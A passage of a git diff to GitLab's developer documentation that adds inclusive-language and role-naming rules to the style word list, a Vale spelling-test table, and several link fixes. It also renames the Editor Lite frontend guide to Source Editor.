Do not use Latin abbreviations. Use **for example**, **such as**, **for instance**, or **like** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml))
+## email
+
+Do not use **e-mail** with a hyphen. When plural, use **emails** or **email messages**.
+
+## enable
+
+See [the Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/e/enable-enables) for guidance.
+Use **active** or **on** instead. ([Vale](../testing.md#vale) rule: [`InclusionAbleism.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionAbleism.yml))
+
## future tense
When possible, use present tense instead. For example, use `after you execute this command, GitLab displays the result` instead of `after you execute this command, GitLab will display the result`. ([Vale](../testing.md#vale) rule: [`FutureTense.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FutureTense.yml))
@@ -59,16 +94,35 @@ When possible, use present tense instead. For example, use `after you execute th
Do not make possessive (GitLab's). This guidance follows [GitLab Brand Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/brand-guidelines/#trademark).
+### GitLab.com
+
+Refers to the GitLab instance managed by GitLab itself.
+
+### GitLab SaaS
+
+Refers to the product license that provides access to GitLab.com. Does not refer to the
+GitLab instance managed by GitLab itself.
+
+### GitLab self-managed
+
+Refers to the product license for GitLab instances managed by customers themselves.
+
## Guest
-When writing about the Guest role, use a capital "G." Do not use the phrase, "if you are a guest"
-to mean someone who is assigned the Guest role. Instead, write it out. "If you are assigned the Guest role..."
+When writing about the Guest role:
+
+- Use a capital **G**.
+- Do not use the phrase, **if you are a guest** to mean someone who is assigned the Guest
+ role. Instead, write it out. For example, **if you are assigned the Guest role**.
+- To describe a situation where the Guest role is the minimum required:
+ - Avoid: **the Guest role or higher**
+ - Use instead: **at least the Guest role**
-Do not use "Guest permissions." A user who is assigned the Guest role has a set of associated permissions.
+Do not use **Guest permissions**. A user who is assigned the Guest role has a set of associated permissions.
## handy
-Do not use. If the user doesn't find the process to be these things, we lose their trust.
+Do not use. If the user doesn't find the feature or process to be handy, we lose their trust.
## high availability, HA
@@ -84,10 +138,28 @@ Do not use Latin abbreviations. Use **that is** instead. ([Vale](../testing.md#v
## Maintainer
-When writing about the Maintainer role, use a capital "M." Do not use the phrase, "if you are a maintainer"
-to mean someone who is assigned the Maintainer role. Instead, write it out. "If you are assigned the Maintainer role..."
+When writing about the Maintainer role:
+
+- Use a capital **M**.
+- Do not use the phrase, **if you are a maintainer** to mean someone who is assigned the Maintainer
+ role. Instead, write it out. For example, **if you are assigned the Maintainer role**.
+- To describe a situation where the Maintainer role is the minimum required:
+ - Avoid: **the Maintainer role or higher**
+ - Use instead: **at least the Maintainer role**
+
+Do not use **Maintainer permissions**. A user who is assigned the Maintainer role has a set of associated permissions.
+
+## mankind
+
+Do not use. Use **people** or **humanity** instead. ([Vale](../testing.md#vale) rule: [`InclusionGender.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionGender.yml))
-Do not use "Maintainer permissions." A user who is assigned the Maintainer role has a set of associated permissions.
+## manpower
+
+Do not use. Use words like **workforce** or **GitLab team members**. ([Vale](../testing.md#vale) rule: [`InclusionGender.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionGender.yml))
+
+## master
+
+Do not use. Options are **primary** or **main**. ([Vale](../testing.md#vale) rule: [`InclusionCultural.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionCultural.yml))
## may, might
@@ -97,12 +169,19 @@ Do not use "Maintainer permissions." A user who is assigned the Maintainer role
Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml))
+## merge requests
+
+Lowercase. If you use **MR** as the acronym, spell it out on first use.
+
## Owner
-When writing about the Owner role, use a capital "M." Do not use the phrase, "if you are an owner"
-to mean someone who is assigned the Owner role. Instead, write it out. "If you are assigned the Owner role..."
+When writing about the Owner role:
+
+- Use a capital **O**.
+- Do not use the phrase, **if you are an owner** to mean someone who is assigned the Owner
+ role. Instead, write it out. For example, **if you are assigned the Owner role**.
-Do not use "Owner permissions." A user who is assigned the Owner role has a set of associated permissions.
+Do not use **Owner permissions**. A user who is assigned the Owner role has a set of associated permissions.
## permissions
@@ -118,38 +197,68 @@ Do not use. Doing so may negatively affect other users and contributors, which i
## Reporter
-When writing about the Reporter role, use a capital "R." Do not use the phrase, "if you are a reporter"
-to mean someone who is assigned the Reporter role. Instead, write it out. "If you are assigned the Reporter role..."
+When writing about the Reporter role:
-Do not use "Reporter permissions." A user who is assigned the Reporter role has a set of associated permissions.
+- Use a capital **R**.
+- Do not use the phrase, **if you are a reporter** to mean someone who is assigned the Reporter
+ role. Instead, write it out. For example, **if you are assigned the Reporter role**.
+- To describe a situation where the Reporter role is the minimum required:
+ - Avoid: **the Reporter role or higher**
+ - Use instead: **at least the Reporter role**
+
+Do not use **Reporter permissions**. A user who is assigned the Reporter role has a set of associated permissions.
## roles
Do not use roles and permissions interchangeably. Each user is assigned a role. Each role includes a set of permissions.
+## sanity check
+
+Do not use. Use **check for completeness** instead. ([Vale](../testing.md#vale) rule: [`InclusionAbleism.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionAbleism.yml))
+
## scalability
Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page.
-## simply
+## setup, set up
+
+Use **setup** as a noun, and **set up** as a verb. For example:
+
+- Your remote office setup is amazing.
+- To set up your remote office correctly, consider the ergonomics of your work area.
+
+## simply, simple
-Do not use. If the user doesn't find the process to be these things, we lose their trust.
+Do not use. If the user doesn't find the process to be simple, we lose their trust.
## slashes
-Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed.
+Instead of **and/or**, use **or** or re-write the sentence. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed.
+
+## slave
+
+Do not use. Another option is **secondary**. ([Vale](../testing.md#vale) rule: [`InclusionCultural.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionCultural.yml))
## subgroup
-Use instead of `sub-group`.
+Use instead of **sub-group**.
## that
-Do not use. Example: `the file that you save` can be `the file you save`.
+Do not use. For example:
+
+- Avoid: The file that you save...
+- Use instead: The file you save...
+
+## they
+
+Avoid the use of gender-specific pronouns, unless referring to a specific person.
+Use a singular [they](https://developers.google.com/style/pronouns#gender-neutral-pronouns) as
+a gender-neutral pronoun.
## useful
-Do not use. If the user doesn't find the process to be these things, we lose their trust.
+Do not use. If the user doesn't find the process to be useful, we lose their trust.
## utilize
@@ -159,5 +268,18 @@ Do not use. Use **use** instead. It's more succinct and easier for non-native En
Do not use Latin abbreviations. Use **with**, **through**, or **by using** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml))
+## we
+
+Try to avoid **we** and focus instead on how the user can accomplish something in GitLab.
+
+- Avoid: We created a feature for you to add widgets.
+- Instead, use: Use widgets when you have work you want to organize.
+
+One exception: You can use **we recommend** instead of **it is recommended** or **GitLab recommends**.
+
+## whitelist
+
+Do not use. Another option is **allowlist**. ([Vale](../testing.md#vale) rule: [`InclusionCultural.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionCultural.yml))
+
<!-- vale on -->
<!-- markdownlint-enable -->
diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md
index b634e2b93db..ddd44801ae9 100644
--- a/doc/development/documentation/testing.md
+++ b/doc/development/documentation/testing.md
@@ -210,6 +210,20 @@ Vale returns three types of results: `suggestion`, `warning`, and `error`:
of how to resolve the error. Errors break CI and are displayed in CI job output. See a list of
[error-level rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Error%3A&group_id=9970&project_id=278964).
+#### Vale spelling test
+
+When Vale flags a valid word as a spelling mistake, you can fix it following these
+guidelines:
+
+| Flagged word | Guideline |
+|------------------------------------------------------|-----------|
+| jargon | Rewrite the sentence to avoid it. |
+| *correctly-capitalized* name of a product or service | Add the word to the [vale spelling exceptions list](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/spelling-exceptions.txt). |
+| name of a person | Remove the name if it's not needed, or [add the vale exception code in-line](#disable-vale-tests). |
+| a command, variable, code, or similar | Put it in backticks or a code block. For example: ``The git clone command can be used with the CI_COMMIT_BRANCH variable.`` -> ``The `git clone` command can be used with the `CI_COMMIT_BRANCH` variable.`` |
+| UI text from GitLab | Verify it correctly matches the UI, then: If it does not match the UI, update it. If it matches the UI, but the UI seems incorrect, create an issue to see if the UI needs to be fixed. If it matches the UI and seems correct, add it to the [vale spelling exceptions list](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/spelling-exceptions.txt). |
+| UI text from a third-party product | Rewrite the sentence to avoid it, or [add the vale exception code in-line](#disable-vale-tests). |
+
### Install linters
At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in
diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md
index f035b4d0888..31c38bc1446 100644
--- a/doc/development/documentation/workflow.md
+++ b/doc/development/documentation/workflow.md
@@ -63,7 +63,7 @@ To update GitLab documentation:
1. Follow the [Merge Request Guidelines](../contributing/merge_request_workflow.md#merge-request-guidelines).
NOTE:
-Work in a fork if you do not have Developer access to the GitLab project.
+Work in a fork if you do not have the Developer role in the GitLab project.
### Ask for help
diff --git a/doc/development/emails.md b/doc/development/emails.md
index 3e651a6efb8..c1054077f9e 100644
--- a/doc/development/emails.md
+++ b/doc/development/emails.md
@@ -141,4 +141,4 @@ Please note that `path/to/project` is used in GitLab as the handler for the Serv
---
-[Return to Development documentation](README.md)
+[Return to Development documentation](index.md)
diff --git a/doc/development/experiment_guide/gitlab_experiment.md b/doc/development/experiment_guide/gitlab_experiment.md
index 820d1da0080..33222b0492c 100644
--- a/doc/development/experiment_guide/gitlab_experiment.md
+++ b/doc/development/experiment_guide/gitlab_experiment.md
@@ -513,6 +513,11 @@ expect(experiment(:example)).to track(:my_event, value: 1, property: '_property_
experiment(:example, :variant_name, foo: :bar).track(:my_event, value: 1, property: '_property_')
```
+### Recording and assignment tracking
+
+To test assignment tracking and the `record!` method, you can use or adopt the following
+shared example: [tracks assignment and records the subject](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/support/shared_examples/lib/gitlab/experimentation_shared_examples.rb).
+
## Experiments in the client layer
This is in flux as of GitLab 13.10, and can't be documented just yet.
@@ -588,7 +593,7 @@ When there is no experiment data in the `window.gon.experiment` object for the g
NOTE:
We use the terms "enabled" and "disabled" here, even though it's against our
-[documentation style guide recommendations](../documentation/styleguide/index.md#avoid-ableist-language)
+[documentation style guide recommendations](../documentation/styleguide/word_list.md#enable)
because these are the terms that the feature flag documentation uses.
You may already be familiar with the concept of feature flags in GitLab, but using
diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md
index 15818941b24..0cd7cf58b58 100644
--- a/doc/development/fe_guide/accessibility.md
+++ b/doc/development/fe_guide/accessibility.md
@@ -510,7 +510,7 @@ Proper research and testing should be done to ensure compliance with [WCAG](http
### Viewing the browser accessibility tree
- [Firefox DevTools guide](https://developer.mozilla.org/en-US/docs/Tools/Accessibility_inspector#accessing_the_accessibility_inspector)
-- [Chrome DevTools guide](https://developers.google.com/web/tools/chrome-devtools/accessibility/reference#pane)
+- [Chrome DevTools guide](https://developer.chrome.com/docs/devtools/accessibility/reference#pane)
### Browser extensions
diff --git a/doc/development/fe_guide/content_editor.md b/doc/development/fe_guide/content_editor.md
index f6329f39636..6cf4076bf83 100644
--- a/doc/development/fe_guide/content_editor.md
+++ b/doc/development/fe_guide/content_editor.md
@@ -54,7 +54,7 @@ the status of the ongoing development for CommonMark and GitLab Flavored Markdow
To include the Content Editor in your feature, import the `createContentEditor` factory
function and the `ContentEditor` Vue component. `createContentEditor` sets up an instance
-of [tiptap's Editor class](https://www.tiptap.dev/api/editor) with all the necessary
+of [tiptap's Editor class](https://www.tiptap.dev/api/editor/) with all the necessary
extensions to support editing GitLab Flavored Markdown content. It also creates
a Markdown serializer that allows exporting tiptap's document format to Markdown.
@@ -90,7 +90,9 @@ export default {
try {
await this.contentEditor.setSerializedContent(this.content);
} catch (e) {
- createFlash(__('There was an error loading content in the editor'), e);
+ createFlash({
+ message: __('There was an error loading content in the editor'), error: e
+ });
}
},
methods: {
diff --git a/doc/development/fe_guide/editor_lite.md b/doc/development/fe_guide/editor_lite.md
index f28588c23e9..5020bf9eeeb 100644
--- a/doc/development/fe_guide/editor_lite.md
+++ b/doc/development/fe_guide/editor_lite.md
@@ -1,264 +1,9 @@
---
-stage: Create
-group: Editor
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'source_editor.md'
+remove_date: '2021-09-19'
---
-# Editor Lite **(FREE)**
+This document was moved to [another location](source_editor.md).
-**Editor Lite** provides the editing experience at GitLab. This thin wrapper around
-[the Monaco editor](https://microsoft.github.io/monaco-editor/) provides necessary
-helpers and abstractions, and extends Monaco [using extensions](#extensions). Multiple
-GitLab features use it, including:
-
-- [Web IDE](../../user/project/web_ide/index.md)
-- [CI Linter](../../ci/lint.md)
-- [Snippets](../../user/snippets.md)
-- [Web Editor](../../user/project/repository/web_editor.md)
-- [Security Policies](../../user/application_security/threat_monitoring/index.md)
-
-## How to use Editor Lite
-
-Editor Lite is framework-agnostic and can be used in any application, including both
-Rails and Vue. To help with integration, we have the dedicated `<editor-lite>`
-Vue component, but the integration of Editor Lite is generally straightforward:
-
-1. Import Editor Lite:
-
- ```javascript
- import EditorLite from '~/editor/editor_lite';
- ```
-
-1. Initialize global editor for the view:
-
- ```javascript
- const editor = new EditorLite({
- // Editor Options.
- // The list of all accepted options can be found at
- // https://microsoft.github.io/monaco-editor/api/enums/monaco.editor.editoroption.html
- });
- ```
-
-1. Create an editor's instance:
-
- ```javascript
- editor.createInstance({
- // Editor Lite configuration options.
- })
- ```
-
-An instance of Editor Lite accepts the following configuration options:
-
-| Option | Required? | Description |
-| -------------- | ------- | ---- |
-| `el` | `true` | `HTML Node`: The element on which to render the editor. |
-| `blobPath` | `false` | `String`: The name of a file to render in the editor, used to identify the correct syntax highlighter to use with that file, or another file type. Can accept wildcards like `*.js` when the actual filename isn't known or doesn't play any role. |
-| `blobContent` | `false` | `String`: The initial content to render in the editor. |
-| `extensions` | `false` | `Array`: Extensions to use in this instance. |
-| `blobGlobalId` | `false` | `String`: An auto-generated property.<br>**Note:** This property may go away in the future. Do not pass `blobGlobalId` unless you know what you're doing.|
-| Editor Options | `false` | `Object(s)`: Any property outside of the list above is treated as an Editor Option for this particular instance. Use this field to override global Editor Options on the instance level. A full [index of Editor Options](https://microsoft.github.io/monaco-editor/api/enums/monaco.editor.editoroption.html) is available. |
-
-## API
-
-The editor uses the same public API as
-[provided by Monaco editor](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html)
-with additional functions on the instance level:
-
-| Function | Arguments | Description
-| --------------------- | ----- | ----- |
-| `updateModelLanguage` | `path`: String | Updates the instance's syntax highlighting to follow the extension of the passed `path`. Available only on the instance level.|
-| `use` | Array of objects | Array of extensions to apply to the instance. Accepts only the array of _objects_. You must fetch the extensions' ES6 modules must be fetched and resolved in your views or components before they are passed to `use`. This property is available on _instance_ (applies extension to this particular instance) and _global editor_ (applies the same extension to all instances) levels. |
-| Monaco Editor options | See [documentation](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html) | Default Monaco editor options |
-
-## Tips
-
-1. Editor's loading state.
-
- The loading state is built in to Editor Lite, making spinners and loaders
- rarely needed in HTML. To benefit the built-in loading state, set the `data-editor-loading`
- property on the HTML element that should contain the editor. When bootstrapping,
- Editor Lite shows the loader automatically.
-
- ![Editor Lite: loading state](img/editor_lite_loading.png)
-
-1. Update syntax highlighting if the filename changes.
-
- ```javascript
- // fileNameEl here is the HTML input element that contains the file name
- fileNameEl.addEventListener('change', () => {
- this.editor.updateModelLanguage(fileNameEl.value);
- });
- ```
-
-1. Get the editor's content.
-
- We may set up listeners on the editor for every change, but it rapidly can become
- an expensive operation. Instead, get the editor's content when it's needed.
- For example, on a form's submission:
-
- ```javascript
- form.addEventListener('submit', () => {
- my_content_variable = this.editor.getValue();
- });
- ```
-
-1. Performance
-
- Even though Editor Lite itself is extremely slim, it still depends on Monaco editor,
- which adds weight. Every time you add Editor Lite to a view, the JavaScript bundle's
- size significantly increases, affecting your view's loading performance. We recommend
- you import the editor on demand if either:
-
- - You're uncertain if the view needs the editor.
- - The editor is a secondary element of the view.
-
- Loading Editor Lite on demand is handled like loading any other module:
-
- ```javascript
- someActionFunction() {
- import(/* webpackChunkName: 'EditorLite' */ '~/editor/editor_lite').
- then(({ default: EditorLite }) => {
- const editor = new EditorLite();
- ...
- });
- ...
- }
- ```
-
-## Extensions
-
-Editor Lite provides a universal, extensible editing tool to the whole product,
-and doesn't depend on any particular group. Even though the Editor Lite's core is owned by
-[Create::Editor FE Team](https://about.gitlab.com/handbook/engineering/development/dev/create-editor/),
-any group can own the extensions—the main functional elements. The goal of
-Editor Lite extensions is to keep the editor's core slim and stable. Any
-needed features can be added as extensions to this core. Any group can
-build and own new editing features without worrying about changes to Editor Lite
-breaking or overriding them.
-
-You can depend on other modules in your extensions. This organization helps keep
-the size of Editor Lite's core at bay by importing dependencies only when needed.
-
-Structurally, the complete implementation of Editor Lite can be presented as this diagram:
-
-```mermaid
-graph TD;
- B[Extension 1]---A[Editor Lite]
- C[Extension 2]---A[Editor Lite]
- D[Extension 3]---A[Editor Lite]
- E[...]---A[Editor Lite]
- F[Extension N]---A[Editor Lite]
- A[Editor Lite]---Z[Monaco]
-```
-
-An extension is an ES6 module that exports a JavaScript object:
-
-```javascript
-import { Position } from 'monaco-editor';
-
-export default {
- navigateFileStart() {
- this.setPosition(new Position(1, 1));
- },
-};
-
-```
-
-In the extension's functions, `this` refers to the current Editor Lite instance.
-Using `this`, you get access to the complete instance's API, such as the
-`setPosition()` method in this particular case.
-
-### Using an existing extension
-
-Adding an extension to Editor Lite's instance requires the following steps:
-
-```javascript
-import EditorLite from '~/editor/editor_lite';
-import MyExtension from '~/my_extension';
-
-const editor = new EditorLite().createInstance({
- ...
-});
-editor.use(MyExtension);
-```
-
-### Creating an extension
-
-Let's create our first Editor Lite extension. Extensions are
-[ES6 modules](https://hacks.mozilla.org/2015/08/es6-in-depth-modules/) exporting a
-basic `Object`, used to extend Editor Lite's features. As a test, let's
-create an extension that extends Editor Lite with a new function that, when called,
-outputs the editor's content in `alert`.
-
-`~/my_folder/my_fancy_extension.js:`
-
-```javascript
-export default {
- throwContentAtMe() {
- alert(this.getValue());
- },
-};
-```
-
-In the code example, `this` refers to the instance. By referring to the instance,
-we can access the complete underlying
-[Monaco editor API](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html),
-which includes functions like `getValue()`.
-
-Now let's use our extension:
-
-`~/my_folder/component_bundle.js`:
-
-```javascript
-import EditorLite from '~/editor/editor_lite';
-import MyFancyExtension from './my_fancy_extension';
-
-const editor = new EditorLite().createInstance({
- ...
-});
-editor.use(MyFancyExtension);
-...
-someButton.addEventListener('click', () => {
- editor.throwContentAtMe();
-});
-```
-
-First of all, we import Editor Lite and our new extension. Then we create the
-editor and its instance. By default Editor Lite has no `throwContentAtMe` method.
-But the `editor.use(MyFancyExtension)` line brings that method to our instance.
-After that, we can use it any time we need it. In this case, we call it when some
-theoretical button has been clicked.
-
-This script would result in an alert containing the editor's content when `someButton` is clicked.
-
-![Editor Lite new extension's result](img/editor_lite_create_ext.png)
-
-### Tips
-
-1. Performance
-
- Just like Editor Lite itself, any extension can be loaded on demand to not harm
- loading performance of the views:
-
- ```javascript
- const EditorPromise = import(
- /* webpackChunkName: 'EditorLite' */ '~/editor/editor_lite'
- );
- const MarkdownExtensionPromise = import('~/editor/editor_markdown_ext');
-
- Promise.all([EditorPromise, MarkdownExtensionPromise])
- .then(([{ default: EditorLite }, { default: MarkdownExtension }]) => {
- const editor = new EditorLite().createInstance({
- ...
- });
- editor.use(MarkdownExtension);
- });
- ```
-
-1. Using multiple extensions
-
- Just pass the array of extensions to your `use` method:
-
- ```javascript
- editor.use([FileTemplateExtension, MyFancyExtension]);
- ```
+<!-- This redirect file can be deleted after <2021-09-19>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md
index 6b9d5ace4e6..1e8f7f5fb81 100644
--- a/doc/development/fe_guide/frontend_faq.md
+++ b/doc/development/fe_guide/frontend_faq.md
@@ -157,7 +157,7 @@ export const fetchFoos = ({ state }) => {
Sometimes it's necessary to test locally what the frontend production build would produce, to do so the steps are:
1. Stop webpack: `gdk stop webpack`.
-1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change `dev_server` to `enabled: false`.
+1. Open `gitlab.yaml` located in `gitlab/config` folder, scroll down to the `webpack` section, and change `dev_server` to `enabled: false`.
1. Run `yarn webpack-prod && gdk restart rails-web`.
The production build takes a few minutes to be completed. Any code changes at this point are
diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md
index 844ef2156d9..7fa9e957f56 100644
--- a/doc/development/fe_guide/graphql.md
+++ b/doc/development/fe_guide/graphql.md
@@ -906,6 +906,35 @@ apollo: {
},
```
+### Best Practices
+
+#### When to use (and not use) `update` hook in mutations
+
+Apollo Client's [`.mutate()`](https://www.apollographql.com/docs/react/api/core/ApolloClient/#ApolloClient.mutate)
+method exposes an `update` hook that is invoked twice during the mutation lifecycle:
+
+- Once at the beginning. That is, before the mutation has completed.
+- Once after the mutation has completed.
+
+You should use this hook only if you're adding or removing an item from the store
+(that is, ApolloCache). If you're _updating_ an existing item, it is usually represented by
+a global `id`.
+
+In that case, presence of this `id` in your mutation query definition makes the store update
+automatically. Here's an example of a typical mutation query with `id` present in it:
+
+```graphql
+mutation issueSetWeight($input: IssueSetWeightInput!) {
+ issuableSetWeight: issueSetWeight(input: $input) {
+ issuable: issue {
+ id
+ weight
+ }
+ errors
+ }
+}
+```
+
### Testing
#### Generating the GraphQL schema
diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md
index 00f0d72571a..325310ad05c 100644
--- a/doc/development/fe_guide/index.md
+++ b/doc/development/fe_guide/index.md
@@ -95,7 +95,7 @@ How we implement [keyboard shortcuts](keyboard_shortcuts.md) that can be customi
## Editors
-GitLab text editing experiences are provided by the [Source Editor](editor_lite.md) and
+GitLab text editing experiences are provided by the [Source Editor](source_editor.md) and
the [Content Editor](content_editor.md).
## Frontend FAQ
diff --git a/doc/development/fe_guide/performance.md b/doc/development/fe_guide/performance.md
index dd3945ae324..e7f347554d7 100644
--- a/doc/development/fe_guide/performance.md
+++ b/doc/development/fe_guide/performance.md
@@ -255,18 +255,18 @@ We support two types of prefetching for the chunks:
- The [`prefetch` link type](https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/prefetch)
is used to prefetch a chunk for the future navigation
-- The [`preload` link type](https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preloadh)
- is used to prefetch a chunk that is crucial for the current navigation but is not
+- The [`preload` link type](https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload)
+ is used to prefetch a chunk that is crucial for the current navigation but is not
discovered until later in the rendering process
-Both `prefetch` and `preload` links bring the loading performance benefit to the pages. Both are
+Both `prefetch` and `preload` links bring the loading performance benefit to the pages. Both are
fetched asynchronously, but contrary to [deferring the loading](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer)
of the assets which is used for other JavaScript resources in the product by default, `prefetch` and
-`preload` neither parse nor execute the fetched script unless explicitly imported in any JavaScript
-module. This allows to cache the fetched resources without blocking the execution of the
+`preload` neither parse nor execute the fetched script unless explicitly imported in any JavaScript
+module. This allows to cache the fetched resources without blocking the execution of the
remaining page resources.
-To prefetch a JavaScript chunk in a HAML view, `:prefetch_asset_tags` with the combination of
+To prefetch a JavaScript chunk in a HAML view, `:prefetch_asset_tags` with the combination of
the `webpack_preload_asset_tag` helper is provided:
```javascript
@@ -280,8 +280,8 @@ This snippet will add a new `<link rel="preload">` element into the resulting HT
<link rel="preload" href="/assets/webpack/monaco.chunk.js" as="script" type="text/javascript">
```
-By default, `webpack_preload_asset_tag` will `preload` the chunk. You don't need to worry about
-`as` and `type` attributes for preloading the JavaScript chunks. However, when a chunk is not
+By default, `webpack_preload_asset_tag` will `preload` the chunk. You don't need to worry about
+`as` and `type` attributes for preloading the JavaScript chunks. However, when a chunk is not
critical, for the current navigation, one has to explicitly request `prefetch`:
```javascript
@@ -454,5 +454,5 @@ General tips:
- [WebPage Test](https://www.webpagetest.org) for testing site loading time and size.
- [Google PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) grades web pages and provides feedback to improve the page.
-- [Profiling with Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/)
+- [Profiling with Chrome DevTools](https://developer.chrome.com/docs/devtools/)
- [Browser Diet](https://browserdiet.com/) is a community-built guide that catalogues practical tips for improving web page performance.
diff --git a/doc/development/fe_guide/source_editor.md b/doc/development/fe_guide/source_editor.md
new file mode 100644
index 00000000000..fc128c0ecb1
--- /dev/null
+++ b/doc/development/fe_guide/source_editor.md
@@ -0,0 +1,264 @@
+---
+stage: Create
+group: Editor
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Source Editor **(FREE)**
+
+**Source Editor** provides the editing experience at GitLab. This thin wrapper around
+[the Monaco editor](https://microsoft.github.io/monaco-editor/) provides necessary
+helpers and abstractions, and extends Monaco [using extensions](#extensions). Multiple
+GitLab features use it, including:
+
+- [Web IDE](../../user/project/web_ide/index.md)
+- [CI Linter](../../ci/lint.md)
+- [Snippets](../../user/snippets.md)
+- [Web Editor](../../user/project/repository/web_editor.md)
+- [Security Policies](../../user/application_security/threat_monitoring/index.md)
+
+## How to use Source Editor
+
+Source Editor is framework-agnostic and can be used in any application, including both
+Rails and Vue. To help with integration, we have the dedicated `<source-editor>`
+Vue component, but the integration of Source Editor is generally straightforward:
+
+1. Import Source Editor:
+
+ ```javascript
+ import SourceEditor from '~/editor/source_editor';
+ ```
+
+1. Initialize global editor for the view:
+
+ ```javascript
+ const editor = new SourceEditor({
+ // Editor Options.
+ // The list of all accepted options can be found at
+ // https://microsoft.github.io/monaco-editor/api/enums/monaco.editor.editoroption.html
+ });
+ ```
+
+1. Create an editor's instance:
+
+ ```javascript
+ editor.createInstance({
+ // Source Editor configuration options.
+ })
+ ```
+
+An instance of Source Editor accepts the following configuration options:
+
+| Option | Required? | Description |
+| -------------- | ------- | ---- |
+| `el` | `true` | `HTML Node`: The element on which to render the editor. |
+| `blobPath` | `false` | `String`: The name of a file to render in the editor, used to identify the correct syntax highlighter to use with that file, or another file type. Can accept wildcards like `*.js` when the actual filename isn't known or doesn't play any role. |
+| `blobContent` | `false` | `String`: The initial content to render in the editor. |
+| `extensions` | `false` | `Array`: Extensions to use in this instance. |
+| `blobGlobalId` | `false` | `String`: An auto-generated property.<br>**Note:** This property may go away in the future. Do not pass `blobGlobalId` unless you know what you're doing.|
+| Editor Options | `false` | `Object(s)`: Any property outside of the list above is treated as an Editor Option for this particular instance. Use this field to override global Editor Options on the instance level. A full [index of Editor Options](https://microsoft.github.io/monaco-editor/api/enums/monaco.editor.editoroption.html) is available. |
+
+## API
+
+The editor uses the same public API as
+[provided by Monaco editor](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html)
+with additional functions on the instance level:
+
+| Function | Arguments | Description
+| --------------------- | ----- | ----- |
+| `updateModelLanguage` | `path`: String | Updates the instance's syntax highlighting to follow the extension of the passed `path`. Available only on the instance level.|
+| `use` | Array of objects | Array of extensions to apply to the instance. Accepts only the array of _objects_. You must fetch the extensions' ES6 modules must be fetched and resolved in your views or components before they are passed to `use`. This property is available on _instance_ (applies extension to this particular instance) and _global editor_ (applies the same extension to all instances) levels. |
+| Monaco Editor options | See [documentation](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html) | Default Monaco editor options |
+
+## Tips
+
+1. Editor's loading state.
+
+ The loading state is built in to Source Editor, making spinners and loaders
+ rarely needed in HTML. To benefit the built-in loading state, set the `data-editor-loading`
+ property on the HTML element that should contain the editor. When bootstrapping,
+ Source Editor shows the loader automatically.
+
+ ![Source Editor: loading state](img/editor_lite_loading.png)
+
+1. Update syntax highlighting if the filename changes.
+
+ ```javascript
+ // fileNameEl here is the HTML input element that contains the file name
+ fileNameEl.addEventListener('change', () => {
+ this.editor.updateModelLanguage(fileNameEl.value);
+ });
+ ```
+
+1. Get the editor's content.
+
+ We may set up listeners on the editor for every change, but it rapidly can become
+ an expensive operation. Instead, get the editor's content when it's needed.
